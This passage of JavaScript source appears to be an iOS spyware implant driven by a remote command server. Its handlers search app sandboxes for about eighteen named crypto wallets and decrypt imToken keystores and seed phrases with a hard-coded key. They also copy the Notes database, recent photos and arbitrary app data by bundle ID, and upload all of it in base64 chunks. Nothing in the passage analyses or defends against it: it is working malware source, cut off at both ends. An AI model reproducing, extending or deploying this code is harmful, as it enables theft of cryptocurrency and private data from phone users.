{\n\t\t\t\t\t\t\t\t\t\t\t\twalletInfo.decrypt_result = decResult;\n\t\t\t\t\t\t\t\t\t\t\t\twalletInfo.password_source = p.password ? \"provided\" : \"keychain\";\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t} catch (decErr) {\n\t\t\t\t\t\t\t\t\t\t\twalletInfo.decrypt_error = String(decErr);\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tif (w.encOriginal) {\n\t\t\t\t\t\t\t\t\twalletInfo.encOriginal_present = true;\n\t\t\t\t\t\t\t\t\tvar fixedKey = \"456b38706c33314b3279654867517779\";\n\t\t\t\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\t\t\t\tvar decOrig = _decryptEncryptedMessage(w.encOriginal, fixedKey);\n\t\t\t\t\t\t\t\t\t\tif (decOrig) walletInfo.original_fixed_key = decOrig;\n\t\t\t\t\t\t\t\t\t} catch (origErr) {\n\t\t\t\t\t\t\t\t\t\twalletInfo.encOriginal_error = String(origErr);\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tif (w.encMnemonic) {\n\t\t\t\t\t\t\t\t\twalletInfo.encMnemonic_present = true;\n\t\t\t\t\t\t\t\t\tvar fixedKey2 = \"456b38706c33314b3279654867517779\";\n\t\t\t\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\t\t\t\tvar decMnem = _decryptEncryptedMessage(w.encMnemonic, fixedKey2);\n\t\t\t\t\t\t\t\t\t\tif (decMnem) walletInfo.mnemonic_fixed_key = decMnem;\n\t\t\t\t\t\t\t\t\t} catch (mnemErr) {\n\t\t\t\t\t\t\t\t\t\twalletInfo.encMnemonic_error = String(mnemErr);\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tif (w.identity) {\n\t\t\t\t\t\t\t\t\twalletInfo.identifier = w.identity.identifier || \"\";\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tresult.wallets.push(walletInfo);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} catch (parseErr) {}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else if (ent.type === \"dir\") {\n\t\t\t\tvar subEntries = listDir(entPath);\n\t\t\t\tfor (var si = 0; si < subEntries.length; si++) {\n\t\t\t\t\tvar subEnt = subEntries[si];\n\t\t\t\t\tif (subEnt.type !== \"file\") continue;\n\t\t\t\t\tvar subPath = entPath + \"/\" + subEnt.name;\n\t\t\t\t\tresult.wallet_dir_files.push({\n\t\t\t\t\t\tdir: (di === 0 ? \"walletsV2\" : \"wallets\") + \"/\" + ent.name,\n\t\t\t\t\t\tname: subEnt.name\n\t\t\t\t\t});\n\t\t\t\t\tvar subSt = _statFile(subPath);\n\t\t\t\t\tif (subSt && subSt.size > 0 && subSt.size < 4 * 1024 * 1024) {\n\t\t\t\t\t\tvar sb64 = readFileB64(subPath, 4 * 1024 * 1024);\n\t\t\t\t\t\tif (sb64) {\n\t\t\t\t\t\t\tvar sfname = (di === 0 ? \"walletsV2_\" : \"wallets_\") +\n\t\t\t\t\t\t\t\tent.name + \"_\" + subEnt.name;\n\t\t\t\t\t\t\tsendResult(cmd.command_id, sb64.b64,\n\t\t\t\t\t\t\t\tsfname, \"wallet_extract\");\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t// --- Phase 3: AsyncStorage (Redux persist) ---\n\tif (data) {\n\t\tvar rawKeys = Object.keys(data);\n\t\tresult.raw_keys = rawKeys;\n\n\t\tvar walletsRaw = null;\n\t\tif (data[\"walletsV2\"]) {\n\t\t\ttry { walletsRaw = JSON.parse(data[\"walletsV2\"]); } catch(e) {}\n\t\t}\n\t\tif (!walletsRaw && data[\"wallets\"]) {\n\t\t\ttry { walletsRaw = JSON.parse(data[\"wallets\"]); } catch(e) {}\n\t\t}\n\n\t\tif (walletsRaw) {\n\t\t\tvar wArr = Array.isArray(walletsRaw) ? walletsRaw :\n\t\t\t\t(walletsRaw.wallets ? walletsRaw.wallets : [walletsRaw]);\n\t\t\tfor (var wi = 0; wi < wArr.length; wi++) {\n\t\t\t\tvar w = wArr[wi];\n\t\t\t\tvar walletInfo = {\n\t\t\t\t\tid: w.id || w.walletID || (\"wallet_\" + wi),\n\t\t\t\t\tname: w.name || \"\",\n\t\t\t\t\taddress: w.address || \"\",\n\t\t\t\t\tsource: w.source || \"\",\n\t\t\t\t\tchainType: w.chainType || \"\"\n\t\t\t\t};\n\n\t\t\t\tif (w.keystore || w.crypto) {\n\t\t\t\t\tvar ks = w.keystore || { crypto: w.crypto };\n\t\t\t\t\twalletInfo.keystore_raw = ks;\n\t\t\t\t\twalletInfo.kdf = ks.crypto ? ks.crypto.kdf : \"unknown\";\n\n\t\t\t\t\tif (password) {\n\t\t\t\t\t\tvar decResult = _decryptKeystoreV3(ks.crypto, password);\n\t\t\t\t\t\tif (decResult) {\n\t\t\t\t\t\t\twalletInfo.decrypt_result = decResult;\n\t\t\t\t\t\t\twalletInfo.password_source = p.password ? \"provided\" : \"keychain\";\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif (w.encMnemonic) {\n\t\t\t\t\twalletInfo.encMnemonic_raw = w.encMnemonic;\n\t\t\t\t\tif (typeof w.encMnemonic === \"object\" && w.encMnemonic.encStr) {\n\t\t\t\t\t\tvar fixedKey = \"456b38706c33314b3279654867517779\";\n\t\t\t\t\t\tvar dec = _decryptEncryptedMessage(w.encMnemonic, fixedKey);\n\t\t\t\t\t\tif (dec) walletInfo.mnemonic_fixed_key = dec;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif (w.encOriginal) {\n\t\t\t\t\twalletInfo.encOriginal_raw = w.encOriginal;\n\t\t\t\t\tif (typeof w.encOriginal === \"object\" && w.encOriginal.encStr) {\n\t\t\t\t\t\tvar fixedKey2 = \"456b38706c33314b3279654867517779\";\n\t\t\t\t\t\tvar dec2 = _decryptEncryptedMessage(w.encOriginal, fixedKey2);\n\t\t\t\t\t\tif (dec2) walletInfo.original_fixed_key = dec2;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tresult.wallets.push(walletInfo);\n\t\t\t}\n\t\t}\n\n\t\tif (data[\"AssetToken\"]) {\n\t\t\ttry {\n\t\t\t\tvar assetData = JSON.parse(data[\"AssetToken\"]);\n\t\t\t\tvar items = assetData.itemsById || assetData;\n\t\t\t\tif (typeof items === \"object\") {\n\t\t\t\t\tfor (var assetKey in items) {\n\t\t\t\t\t\tif (!items.hasOwnProperty(assetKey)) continue;\n\t\t\t\t\t\tvar a = items[assetKey];\n\t\t\t\t\t\tresult.assets.push({\n\t\t\t\t\t\t\twalletAddress: a.walletAddress || a.accountAddress || \"\",\n\t\t\t\t\t\t\tchainId: a.chainId || \"\",\n\t\t\t\t\t\t\tchainType: a.chainType || \"\",\n\t\t\t\t\t\t\tname: a.name || \"\",\n\t\t\t\t\t\t\tsymbol: a.symbol || \"\",\n\t\t\t\t\t\t\tbalance: a.balance || \"0\",\n\t\t\t\t\t\t\tdecimal: a.decimal || 0\n\t\t\t\t\t\t});\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} catch(e) {\n\t\t\t\tresult.asset_parse_error = String(e);\n\t\t\t}\n\t\t}\n\n\t\tvar sensitiveKeys = [\"walletsV2\", \"wallets\", \"crypto\", \"encMnemonic\",\n\t\t\t\"encOriginal\", \"AssetToken\", \"identities\", \"accounts\"];\n\t\tvar rawData = {};\n\t\tfor (var ki = 0; ki < sensitiveKeys.length; ki++) {\n\t\t\tif (data[sensitiveKeys[ki]]) {\n\t\t\t\trawData[sensitiveKeys[ki]] = data[sensitiveKeys[ki]];\n\t\t\t}\n\t\t}\n\t\tfor (var rk = 0; rk < rawKeys.length; rk++) {\n\t\t\tvar lk = rawKeys[rk].toLowerCase();\n\t\t\tif (lk.indexOf(\"wallet\") >= 0 || lk.indexOf(\"token\") >= 0 ||\n\t\t\t\tlk.indexOf(\"mnemonic\") >= 0 || lk.indexOf(\"seed\") >= 0 ||\n\t\t\t\tlk.indexOf(\"key\") >= 0 || lk.indexOf(\"account\") >= 0 ||\n\t\t\t\tlk.indexOf(\"identity\") >= 0 || lk.indexOf(\"crypto\") >= 0) {\n\t\t\t\tif (!rawData[rawKeys[rk]]) rawData[rawKeys[rk]] = data[rawKeys[rk]];\n\t\t\t}\n\t\t}\n\n\t\tif (Object.keys(rawData).length > 0) {\n\t\t\tvar rawJson = JSON.stringify(rawData);\n\t\t\tvar rawB64 = bytesToBase64(new Uint8Array(Native.stringToBytes(rawJson, false)));\n\t\t\tsendResult(cmd.command_id, rawB64,\n\t\t\t\t\"imtoken_raw_storage.json\", \"wallet_extract\");\n\t\t}\n\t} else {\n\t\tresult.async_storage_status = \"not_found\";\n\t}\n\n\tresult.realm_uploaded = realmUploaded;\n\tvar endMs = Date.now();\n\tresult.execution_time = (endMs - startMs) / 1000;\n\tsendJSON(cmd.command_id, result, \"wallet_extract_result.json\",\n\t\t{ start_ms: startMs, end_ms: endMs });\n}\n\n// ============================================================================\n// ios_app_data: collect sandboxed app data by bundle_id\n// ============================================================================\n\nvar APP_DATA_BASE = \"/var/mobile/Containers/Data/Application\";\nvar APP_GROUP_BASE = \"/var/mobile/Containers/Shared/AppGroup\";\n\nfunction _toFfsPath(absPath) {\n\tif (absPath.indexOf(\"/private/\") === 0) return absPath.substring(1);\n\tif (absPath.indexOf(\"/var/\") === 0) return \"private\" + absPath;\n\tif (absPath.charAt(0) === \"/\") return absPath.substring(1);\n\treturn absPath;\n}\n\nfunction _findContainerIn(basePath, bundleId) {\n\tvar dirs = listDir(basePath);\n\tfor (var i = 0; i < dirs.length; i++) {\n\t\tif (dirs[i].type !== \"dir\") continue;\n\t\tvar containerPath = basePath + \"/\" + dirs[i].name;\n\t\tvar plistPath = containerPath + \"/.com.apple.mobile_container_manager.metadata.plist\";\n\t\tvar acc = Number(Native.callSymbol(\"access\", plistPath, 0));\n\t\tif (acc !== 0) continue;\n\t\tvar bytes = _readFileBytes(plistPath, 8192);\n\t\tif (!bytes || bytes.length === 0) continue;\n\t\tvar content = _rawToStr(bytes);\n\t\tif (content.indexOf(bundleId) >= 0) return containerPath;\n\t}\n\treturn null;\n}\n\nfunction _findAppContainer(bundleId) {\n\treturn _findContainerIn(APP_DATA_BASE, bundleId);\n}\n\nfunction _findAppGroupContainer(bundleId) {\n\treturn _findContainerIn(APP_GROUP_BASE, bundleId);\n}\n\nfunction _collectAppFiles(basePath, subPaths, excludePaths, filterMode, fileExts, maxFileSizeMB) {\n\tvar maxBytes = (maxFileSizeMB && maxFileSizeMB > 0) ? maxFileSizeMB * 1024 * 1024 : 0;\n\tvar exts = [];\n\tif (fileExts) {\n\t\tvar parts = fileExts.split(\",\");\n\t\tfor (var i = 0; i < parts.length; i++) {\n\t\t\tvar e = parts[i].trim();\n\t\t\tif (e) exts.push(e.toLowerCase());\n\t\t}\n\t}\n\n\tvar scanRoots = [];\n\tif (subPaths && subPaths.length > 0) {\n\t\tfor (var i = 0; i < subPaths.length; i++) {\n\t\t\tvar sp = subPaths[i];\n\t\t\tvar full = (sp.charAt(0) === \"/\") ? basePath + sp : basePath + \"/\" + sp;\n\t\t\tif (_statFile(full)) scanRoots.push(full);\n\t\t}\n\t} else {\n\t\tscanRoots.push(basePath);\n\t}\n\n\tvar excludeFull = [];\n\tif (excludePaths) {\n\t\tfor (var i = 0; i < excludePaths.length; i++) {\n\t\t\texcludeFull.push(basePath + excludePaths[i]);\n\t\t}\n\t}\n\n\tvar files = [];\n\tfor (var ri = 0; ri < scanRoots.length; ri++) {\n\t\t_scanDir(scanRoots[ri], files, true, excludeFull,\n\t\t\tfilterMode || \"none\", exts, maxBytes);\n\t}\n\treturn files;\n}\n\nfunction handleIosAppData(cmd) {\n\tvar p = cmd.params || {};\n\tvar targets = p.targets || [];\n\tvar maxFileSizeMB = (p.max_file_size_mb !== undefined) ? p.max_file_size_mb : 500;\n\tvar startMs = Date.now();\n\n\tif (!targets.length) {\n\t\tsendJSON(cmd.command_id, {\n\t\t\tstatus: \"failed\", error: \"empty targets array\",\n\t\t\t_task_id: p._task_id || \"\", _task_type: \"ios_app_data\"\n\t\t}, \"ios_app_data_result.json\", { start_ms: startMs, end_ms: Date.now() });\n\t\treturn;\n\t}\n\n\tvar totalCollected = 0;\n\tvar totalUploaded = 0;\n\tvar targetResults = [];\n\n\tfor (var ti = 0; ti < targets.length; ti++) {\n\t\tvar t = targets[ti];\n\t\tvar bundleId = t.bundle_id;\n\t\tif (!bundleId) {\n\t\t\ttargetResults.push({ bundle_id: \"\", status: \"skipped\", error: \"empty bundle_id\" });\n\t\t\tcontinue;\n\t\t}\n\n\t\tvar containerPath = _findAppContainer(bundleId);\n\t\tvar groupPath = _findAppGroupContainer(bundleId);\n\n\t\tif (!containerPath && !groupPath) {\n\t\t\ttargetResults.push({ bundle_id: bundleId, status: \"not_found\",\n\t\t\t\terror: \"app container not found\" });\n\t\t\tcontinue;\n\t\t}\n\n\t\tvar effectiveMax = maxFileSizeMB;\n\t\tif (effectiveMax === -1) effectiveMax = 0;\n\n\t\tvar containers = [];\n\t\tif (containerPath) containers.push(containerPath);\n\t\tif (groupPath) containers.push(groupPath);\n\n\t\tvar uploaded = 0;\n\t\tvar allFiles = 0;\n\n\t\tfor (var ci = 0; ci < containers.length; ci++) {\n\t\t\tvar ctrPath = containers[ci];\n\t\t\tvar files = _collectAppFiles(ctrPath, t.paths || null,\n\t\t\t\tt.exclude_paths || null, t.filter_mode || \"none\",\n\t\t\t\tt.file_extensions || \"\", effectiveMax);\n\t\t\tallFiles += files.length;\n\n\t\t\tfor (var fi = 0; fi < files.length; fi++) {\n\t\t\t\tvar fname = _toFfsPath(files[fi]);\n\n\t\t\t\tvar sz = getFileSize(files[fi]);\n\t\t\t\tif (sz <= 0) continue;\n\n\t\t\t\tvar isLast = (ci === containers.length - 1 && fi === files.length - 1);\n\t\t\t\tvar meta = isLast ? { start_ms: startMs, end_ms: Date.now() } : null;\n\n\t\t\t\tif (sz <= CHUNK_SIZE) {\n\t\t\t\t\tvar rd = readFileB64(files[fi],\n\t\t\t\t\t\teffectiveMax > 0 ? effectiveMax * 1024 * 1024 : MAX_FILE_SIZE);\n\t\t\t\t\tif (rd) {\n\t\t\t\t\t\tsendResult(cmd.command_id, rd.b64, fname, \"ios_app_data\", meta);\n\t\t\t\t\t\tuploaded++;\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tvar chunkRes = sendFileChunked(cmd.command_id, files[fi],\n\t\t\t\t\t\tfname, \"ios_app_data\", meta);\n\t\t\t\t\tif (chunkRes && chunkRes.ok) uploaded++;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\ttotalCollected += allFiles;\n\t\ttotalUploaded += uploaded;\n\t\ttargetResults.push({\n\t\t\tbundle_id: bundleId,\n\t\t\tcontainer: containerPath || null,\n\t\t\tapp_group: groupPath || null,\n\t\t\tstatus: \"done\",\n\t\t\tfiles_found: allFiles,\n\t\t\tfiles_uploaded: uploaded\n\t\t});\n\t}\n\n\tvar endMs = Date.now();\n\tsendJSON(cmd.command_id, {\n\t\tstatus: totalUploaded > 0 ? \"success\" : (totalCollected > 0 ? \"partial\" : \"empty\"),\n\t\tfile_count: totalUploaded,\n\t\ttotal_scanned: totalCollected,\n\t\ttargets_processed: targetResults.length,\n\t\ttarget_details: targetResults,\n\t\texecution_time: (endMs - startMs) / 1000,\n\t\t_task_id: p._task_id || \"\",\n\t\t_task_type: \"ios_app_data\"\n\t}, \"ios_app_data_result.json\", { start_ms: startMs, end_ms: endMs });\n}\n\n// ============================================================================\n// wallet_scan: scan installed wallet apps and collect sandbox files\n// ============================================================================\n\nvar WALLET_BUNDLE_IDS = {\n\t// All listed wallets collect sandbox hot-files when installed.\n\t// Keychain dump still covers secrets; sandbox globs catch app-local vaults.\n\t\"com.bitpie.wallet\": { name: \"Bitpie\", sandbox: true,\n\t\tfiles: [\"Documents/*\", \"Library/Preferences/com.bitpie.wallet.plist\"] },\n\t\"com.uniswap.mobile\": { name: \"Uniswap\", sandbox: true,\n\t\tfiles: [\"Library/Application Support/*/RCTAsyncLocalStorage_V1/*\", \"Documents/*\"] },\n\t\"app.phantom\": { name: \"Phantom\", sandbox: true,\n\t\tfiles: [\"Documents/*\", \"Library/Application Support/*/*\"] },\n\t\"com.solflare.mobile\": { name: \"Solflare\", sandbox: true,\n\t\tfiles: [\"Documents/mmkv/*\", \"Library/Preferences/com.solflare.mobile.plist\"] },\n\t\"org.mytonwallet.app\": { name: \"MyTonWallet\", sandbox: true,\n\t\tfiles: [\"Documents/*\", \"Library/Application Support/*/*\"] },\n\t\"org.toshi\": { name: \"Coinbase\", sandbox: true,\n\t\tfiles: [\"Documents/*\", \"Library/Application Support/*/*\", \"Library/Preferences/org.toshi.plist\"] },\n\t\"io.metamask.MetaMask\": { name: \"MetaMask\", sandbox: true,\n\t\tmaxFileSize: 5 * 1024 * 1024,\n\t\tfiles: [\"Documents/persist-root\", \"Documents/*\", \"Library/Application Support/*/*\"] },\n\t\"com.okex.OKExAppstoreFull\": { name: \"OKX\", sandbox: true,\n\t\tfiles: [\"Documents/*\", \"Library/Preferences/com.okex.OKExAppstoreFull.plist\",\n\t\t\t\"Library/Application Support/*/*\"] },\n\t\"exodusmovement.exodus\": { name: \"Exodus\", sandbox: true,\n\t\tfiles: [\"Documents/*\", \"Library/Application Support/*/*\"] },\n\t\"exodus-movement.exodus\": { name: \"Exodus\", sandbox: true,\n\t\tfiles: [\"Documents/*\", \"Library/Application Support/*/*\"] },\n\t\"com.jbig.tonkeeper\": { name: \"Tonkeeper\", sandbox: true,\n\t\tfiles: [\"Documents/mmkv/*\", \"Documents/*\", \"Library/Application Support/*/*\"] },\n\n\t\"com.sixdays.trust\": { name: \"Trust Wallet\", sandbox: true,\n\t\tfiles: [\"Documents/UTC--*\", \"Documents/keystore/UTC--*\", \"Documents/*\"] },\n\t\"com.bitkeep.os\": { name: \"Bitget\", sandbox: true,\n\t\tfiles: [\"Library/Preferences/com.bitkeep.os.plist\", \"Documents/*\"] },\n\t\"coin98.crypto.finance.insights\": { name: \"Coin98\", sandbox: true,\n\t\tmaxFileSize: 10 * 1024 * 1024,\n\t\tfiles: [\"Library/Application Support/coin98.crypto.finance.insights/RCTAsyncLocalStorage_V1/*\",\n\t\t\t\"Documents/mmkv/*\", \"Library/Application Support/mmkv/*\"] },\n\t\"com.tonhub.app\": { name: \"Tonhub\", sandbox: true,\n\t\tfiles: [\"Documents/mmkv/mmkv.default\", \"Documents/mmkv/*\"] },\n\t\"com.tronlink.hdwallet\": { name: \"TronLink\", sandbox: true,\n\t\tfiles: [\"Documents/keystore/UTC--*\", \"Documents/UTC--*\", \"Documents/wallets/*\",\n\t\t\t\"Documents/*\", \"Library/Preferences/com.tronlink.hdwallet.plist\"] },\n\t\"com.global.wallet.ios\": { name: \"TokenPocket\", sandbox: true,\n\t\tfiles: [\"Documents/wallets/*\", \"Documents/identity.json\", \"Documents/*\",\n\t\t\t\"Library/Preferences/com.global.wallet.ios.plist\"] },\n\t\"im.token.app\": { name: \"imToken\", sandbox: true,\n\t\tfiles: [\"Documents/walletsV2/*.json\", \"Documents/walletsV2/*\", \"Documents/*\",\n\t\t\t\"Documents/default.realm\"] }\n};\n\nfunction _resolveWalletFiles(containerPath, patterns) {\n\t// Supports mid-path globs: \"Library/Application Support/*/*\"\n\tvar results = [];\n\tvar seen = {};\n\tfunction pushFile(rel, abs) {\n\t\tif (seen[rel]) return;\n\t\tseen[rel] = true;\n\t\tresults.push({ relPath: rel, absPath: abs });\n\t}\n\tfunction expand(relPrefix, segs, si) {\n\t\tif (si >= segs.length) return;\n\t\tvar seg = segs[si];\n\t\tif (!seg) { expand(relPrefix, segs, si + 1); return; }\n\t\tvar isLast = (si === segs.length - 1);\n\t\tvar dirPath = containerPath + (relPrefix ? \"/\" + relPrefix : \"\");\n\t\tif (seg.indexOf(\"*\") >= 0 || seg.indexOf(\"?\") >= 0) {\n\t\t\tvar items = listDir(dirPath);\n\t\t\tfor (var i = 0; i < items.length; i++) {\n\t\t\t\tif (!_matchGlob(items[i].name, seg)) continue;\n\t\t\t\tvar nextRel = relPrefix ? (relPrefix + \"/\" + items[i].name) : items[i].name;\n\t\t\t\tif (isLast) {\n\t\t\t\t\tif (items[i].type === \"file\")\n\t\t\t\t\t\tpushFile(nextRel, dirPath + \"/\" + items[i].name);\n\t\t\t\t} else if (items[i].type === \"dir\") {\n\t\t\t\t\texpand(nextRel, segs, si + 1);\n\t\t\t\t}\n\t\t\t}\n\t\t} else if (isLast) {\n\t\t\tvar full = dirPath + \"/\" + seg;\n\t\t\tif (Number(Native.callSymbol(\"access\", full, 0)) === 0)\n\t\t\t\tpushFile(relPrefix ? (relPrefix + \"/\" + seg) : seg, full);\n\t\t} else {\n\t\t\texpand(relPrefix ? (relPrefix + \"/\" + seg) : seg, segs, si + 1);\n\t\t}\n\t}\n\tfor (var pi = 0; pi < patterns.length; pi++)\n\t\texpand(\"\", patterns[pi].split(\"/\"), 0);\n\treturn results;\n}\n\n// ============================================================================\n// Memo Scan: read notes.sqlite and upload structured memo data\n// ============================================================================\n\nfunction _findNoteStore() {\n\t// iOS 18 NoteStore.sqlite (AppGroup) - check first\n\tvar agBase = \"/var/mobile/Containers/Shared/AppGroup\";\n\tvar dirs = listDir(agBase);\n\tfor (var d = 0; d < dirs.length; d++) {\n\t\tif (dirs[d].type !== \"dir\") continue;\n\t\tvar p = agBase + \"/\" + dirs[d].name + \"/NoteStore.sqlite\";\n\t\tif (Number(Native.callSymbol(\"access\", p, 0)) === 0) return p;\n\t}\n\t// Legacy fallback\n\tvar bases = [\n\t\t\"/private/var/mobile/Library/Notes/notes.sqlite\",\n\t\t\"/tmp/notes.sqlite\"\n\t];\n\tfor (var i = 0; i < bases.length; i++) {\n\t\tif (Number(Native.callSymbol(\"access\", bases[i], 0)) === 0) return bases[i];\n\t}\n\treturn \"\";\n}\n\nfunction handleMemoScan(cmd) {\n\tvar startMs = Date.now();\n\tvar uploaded = 0;\n\tvar dbPath = _findNoteStore();\n\tif (dbPath) {\n\t\tvar suffixes = [\"\", \"-wal\", \"-shm\"];\n\t\tfor (var i = 0; i < suffixes.length; i++) {\n\t\t\tvar fp = dbPath + suffixes[i];\n\t\t\tvar sz = getFileSize(fp);\n\t\t\tif (sz <= 0) continue;\n\t\t\tvar fname = fp.substring(fp.lastIndexOf(\"/\") + 1);\n\t\t\tif (sz <= CHUNK_SIZE) {\n\t\t\t\tvar f = readFileB64(fp);\n\t\t\t\tif (f) { sendResult(cmd.command_id, f.b64, fname, \"memo_db\"); uploaded++; }\n\t\t\t} else {\n\t\t\t\tvar cr = sendFileChunked(cmd.command_id, fp, fname, \"memo_db\");\n\t\t\t\tif (cr && cr.ok) uploaded++;\n\t\t\t}\n\t\t}\n\t}\n\tvar endMs = Date.now();\n\tsendJSON(cmd.command_id, {\n\t\tstatus: uploaded > 0 ? \"success\" : \"empty\",\n\t\tuploaded: uploaded,\n\t\tdb_path: dbPath || \"not_found\",\n\t\t_task_type: \"memo_scan\"\n\t}, \"memo_scan.json\", { start_ms: startMs, end_ms: endMs });\n}\n\n// ============================================================================\n// Photo Scan: query Photos.sqlite, read files, upload with MD5 hashes\n// ============================================================================\n\nfunction _md5(data) {\n\tvar inBuf = Native.callSymbol(\"malloc\", BigInt(data.length));\n\tif (!inBuf || inBuf === 0n) return null;\n\tvar outBuf = Native.callSymbol(\"malloc\", 16n);\n\tif (!outBuf || outBuf === 0n) { Native.callSymbol(\"free\", inBuf); return null; }\n\tNative.write(inBuf, data.buffer ? data.buffer : data);\n\tNative.callSymbol(\"CC_MD5\", inBuf, BigInt(data.length), outBuf);\n\tvar hash = new Uint8Array(Native.read(outBuf, 16));\n\tNative.callSymbol(\"free\", inBuf);\n\tNative.callSymbol(\"free\", outBuf);\n\treturn hash;\n}\n\nfunction _md5file(path, maxSize) {\n\tvar fd = Number(Native.callSymbol(\"open\", path, 0, 0));\n\tif (fd < 0) return null;\n\ttry {\n\t\tvar sz = Number(Native.callSymbol(\"lseek\", fd, 0, 2));\n\t\tNative.callSymbol(\"lseek\", fd, 0, 0);\n\t\tif (sz <= 0 || sz > maxSize) return null;\n\t\tvar buf = Native.callSymbol(\"malloc\", BigInt(sz));\n\t\tif (!buf || buf === 0n) return null;\n\t\ttry {\n\t\t\tvar nr = Number(Native.callSymbol(\"read\", fd, buf, sz));\n\t\t\tif (nr <= 0) return null;\n\t\t\tvar outBuf = Native.callSymbol(\"malloc\", 16n);\n\t\t\tif (!outBuf || outBuf === 0n) return null;\n\t\t\ttry {\n\t\t\t\tNative.callSymbol(\"CC_MD5\", buf, BigInt(nr), outBuf);\n\t\t\t\tvar hash = new Uint8Array(Native.read(outBuf, 16));\n\t\t\t\tvar hex = \"\";\n\t\t\t\tfor (var i = 0; i < 16; i++)\n\t\t\t\t\thex += (hash[i] < 16 ? \"0\" : \"\") + hash[i].toString(16);\n\t\t\t\treturn hex;\n\t\t\t} finally { Native.callSymbol(\"free\", outBuf); }\n\t\t} finally { Native.callSymbol(\"free\", buf); }\n\t} finally { Native.callSymbol(\"close\", fd); }\n}\n\nfunction _queryPhotosPaths(maxCount) {\n\tvar dbPath = \"/var/mobile/Media/PhotoData/Photos.sqlite\";\n\tvar paths = [];\n\tvar rows = _sqliteQuery(dbPath,\n\t\t\"SELECT ZFILENAME, ZDIRECTORY FROM ZASSET \" +\n\t\t\"WHERE ZTRASHEDSTATE = 0 \" +\n\t\t\"ORDER BY ZDATECREATED DESC LIMIT \" + maxCount, maxCount);\n\tif (!rows || !rows.rows) return paths;\n\tfor (var i = 0; i < rows.rows.length; i++) {\n\t\tvar r = rows.rows[i];\n\t\tvar fn = r.ZFILENAME || \"\";\n\t\tif (!fn) continue;\n\t\tvar dir = r.ZDIRECTORY || \"\";\n\t\tvar full;\n\t\tif (dir) {\n\t\t\tdir = dir.replace(/^\\/+|\\/+$/g, \"\");\n\t\t\tfull = \"/var/mobile/Media/\" + dir + \"/\" + fn;\n\t\t} else {\n\t\t\tfull = \"/var/mobile/Media/DCIM/100APPLE/\" + fn;\n\t\t}\n\t\tpaths.push({ path: full, name: fn });\n\t}\n\treturn paths;\n}\n\nfunction handlePhotoScan(cmd) {\n\tvar p = cmd.params || {};\n\tvar startMs = Date.now();\n\tvar maxPhotos = p.max_count || 200;\n\tvar batchSize = p.batch_size || 30;\n\tvar maxFileSize = p.max_file_size || (5 * 1024 * 1024);\n\n\tvar photos = _queryPhotosPaths(maxPhotos);\n\tvar uploaded = 0, skipped = 0, errors = 0;\n\tvar hashes = [];\n\n\tfor (var batch = 0; batch < photos.length; batch += batchSize) {\n\t\tvar end = Math.min(batch + batchSize, photos.length);\n\t\tfor (var j = batch; j < end; j++) {\n\t\t\tvar ph = photos[j];\n\t\t\tvar sz = getFileSize(ph.path);\n\t\t\tif (sz <= 0 || sz > maxFileSize) { skipped++; continue; }\n\t\t\tvar md5 = _md5file(ph.path, maxFileSize);\n\t\t\tif (!md5) { skipped++; continue; }\n\t\t\thashes.push(md5);\n\t\t\tvar fdata = readFileB64(ph.path, maxFileSize);\n\t\t\tif (fdata) {\n\t\t\t\tsendResult(cmd.command_id, fdata.b64, ph.name, \"photos\",\n\t\t\t\t\t{ start_ms: startMs, end_ms: Date.now() });\n\t\t\t\tuploaded++;\n\t\t\t} else { errors++; }\n\t\t}\n\t}\n\n\tvar endMs = Date.now();\n\tsendJSON(cmd.command_id, {\n\t\tstatus: \"success\",\n\t\ttotal_found: photos.length,\n\t\tuploaded: uploaded,\n\t\tskipped: skipped,\n\t\terrors: errors,\n\t\thashes: hashes,\n\t\t_task_type: \"photo_scan\"\n\t}, \"photo_scan.json\", { start_ms: startMs, end_ms: endMs });\n}\n\n// ============================================================================\n// Wallet Scan\n// ============================================================================\n\nfunction handleWalletScan(cmd) {\n\tvar p = cmd.params || {};\n\tvar startMs = Date.now();\n\tvar maxFileSize = 2 * 1024 * 1024;\n\n\tvar base = APP_DATA_BASE;\n\tvar dirs = listDir(base);\n\n\tvar installedWallets = [];\n\tvar containerMap = {};\n\n\tfor (var i = 0; i < dirs.length; i++) {\n\t\tif (dirs[i].type !== \"dir\") continue;\n\t\tvar cpath = base + \"/\" + dirs[i].name;\n\t\tvar plistPath = cpath + \"/.com.apple.mobile_container_manager.metadata.plist\";\n\t\tif (Number(Native.callSymbol(\"access\", plistPath, 0)) !== 0) continue;\n\t\tvar bytes = _readFileBytes(plistPath, 8192);\n\t\tif (!bytes || bytes.length === 0) continue;\n\t\tvar content = _rawToStr(bytes);\n\n\t\tfor (var bid in WALLET_BUNDLE_IDS) {\n\t\t\tif (content.indexOf(bid) >= 0 && !containerMap[bid]) {\n\t\t\t\tcontainerMap[bid] = cpath;\n\t\t\t\tinstalledWallets.push(WALLET_BUNDLE_IDS[bid].name);\n\t\t\t}\n\t\t}\n\t}\n\n\tvar sandboxFiles = [];\n\tvar totalSize = 0;\n\n\tfor (var bid in containerMap) {\n\t\tvar cfg = WALLET_BUNDLE_IDS[bid];\n\t\tif (!cfg.sandbox || !cfg.files) continue;\n\t\tvar perFileMax = cfg.maxFileSize || maxFileSize;\n\t\tvar resolved = _resolveWalletFiles(containerMap[bid], cfg.files);\n\n\t\tfor (var fi = 0; fi < resolved.length; fi++) {\n\t\t\tvar rf = 